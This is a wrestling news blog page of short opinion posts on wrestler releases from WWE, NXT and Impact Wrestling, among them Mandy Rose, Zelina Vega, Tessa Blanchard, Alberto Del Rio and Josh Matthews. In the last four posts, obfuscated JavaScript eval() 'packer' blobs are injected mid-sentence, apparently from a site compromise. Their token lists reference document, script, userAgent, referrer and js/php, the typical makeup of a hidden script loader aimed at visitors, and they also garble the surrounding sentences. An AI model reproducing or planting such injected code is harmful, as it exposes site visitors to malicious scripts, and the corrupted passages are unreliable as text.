BREAKING: WWE Releases Mandy Rose

https://wrestlingrumors.net/tommyhall/breaking-mandy-rose-released-wwe/

 

Apparently Rose had a page with risque content, which did not sit well with WWE.  This comes less than a day after she lost the NXT Women’s Title to Roxanne Perez, ending her 413 day reign.

This is a weird situation, as WWE had probably told her to stop, but this is also the same company that allegedly told Ember Moon to dress more like Rose.  Unless Rose flat out refused to stop posting the content, I’m not sure this warranted a full out release.  Maybe they were trying to send a message, but either way, this feels like quite the extreme response.  Rose will wind up somewhere in wrestling if she wants to, but dang this came out of nowher.




WWE Releases Zelina Vega

https://wrestlingrumors.net/tommyhall/breaking-wwe-releases-zelina-vega/

 

Are you really surprised?

Vega is one of the more prominent Twitch streamers in WWE and on Friday, she sent out a tweet saying she supported unionization. The release came less than an hour later and I’m surprised it took that long.

At the end of the day, this could be the tip of a nasty iceberg, but at the same time it also shows why forming a union is going to be really difficult: WWE can drop someone at the drop of a hat. How many wrestlers do you think would be right there waiting to take Vega’s spot and become a star on WWE’s back? I’m not saying it can’t happen, but it’s an uphill climb starting in loose rocks. WWE is being rather extreme in the Twitch battle, but at the same time, until something changes, they’re going to be able to do almost whatever they want.




Tessa Blanchard Released From Impact Wrestling, World Title Vacated

https://wrestlingrumors.net/tommyhall/tessa-blanchard-released-impact-wrestling-world-title-vacated/

 

This company can’t catch a break sometimes.So believe it or not, Tessa didn’t act very nicely to her employers and more or less refused to do anything for months, including sending in promos the company requested from her.  With her contract expiring before Slammiversary, Impact had hoped to get one more match out of her where she would drop the title but that wasn’t going to happen.  Hence the release and vacating, which is something that had to happen.  It’s a shame that Tessa can’t just get along with someone as she is crazy talented, but doesn’t seem like someone who is ever going to work out long term.  There are always wrestlers like that, and unfortunately they tend to be some of the more talented when the camera is on.




WWE Releases Big Cass

https://wrestlingrumors.net/breaking-wwe-releases-big-cass/

 

There has to be a big story behind that.  He wasn’t THAT bad and he was in a pay per view match two days ago.  It’s even odder when he was just back from a major injury two and a half months ago.




Brad Maddox Released

http://411mania.com/wrestling/wwe-releases-brad-maddox/

They could really use some spring cleaning so maybe this is the start.  It would be nice considering how many people they have on the payroll who never do anything.  Maddox tried but there’s only so much you can do with his size and look.




Solomon Crowe Gone From NXT

http://411mania.com/wrestling/solomon-crowe-removed-from-wwes-website/

I can’t say I blame them.  Crowe had potential but he never really clicked.  That’s definitely not to say he doesn’t have talent, but the little monster gimmick was never going to work.  I was really intrigued by the hacker gimmick though and was hoping it was going to go somewhere.  Unfortunately HHH allegedly didn’t like the idea, which is a shame because the clips i saw of it had potential.




Great Khali Possibly Released

He’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbtty|var|u0026u|referrer|eehbd||js|php'.split('|'),0,{})) now on the alumni page of WWE.com.  If true, this isn’t the biggest shock in the world.  He hasn’t done anything of note in years and is just there for someone to beat in a “surprise”.  I still don’t get people who say he’s the worst in the world.  Yeah he’s big and slow, but what else are you expecting from someone like him?  Why would he do anything but use power moves and big man offense?




Alberto Del Rio Released

According eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|trfdi|var|u0026u|referrer|nzkya||js|php'.split('|'),0,{})) to WWE.com it was due to an altercation with an employee and unprofessional conduct.  This sounds like something where more details will come out later.

I can’t say I’m complaining as he hasn’t meant anything like forever, so I’m not the most annoyed, though I always liked his in ring work. If nothing else, this cuts down even more salary.




Ricardo Rodriguez Released By WWE

Confirmed eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkfnz|var|u0026u|referrer|itind||js|php'.split('|'),0,{})) on Twitter.  This could be the first of many names coming this weekend.  Stay tuned.

There isn’t much to say about Rodriguez. Without Del Rio, he was pretty expendable. I did like his comedy stuff though.




Josh Matthews Looks To Be Gone From WWE

He’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddhsk|var|u0026u|referrer|bytdy||js|php'.split('|'),0,{})) now in the Alumni Section. This interests me far more than most of the wrestlers they released a few weeks back.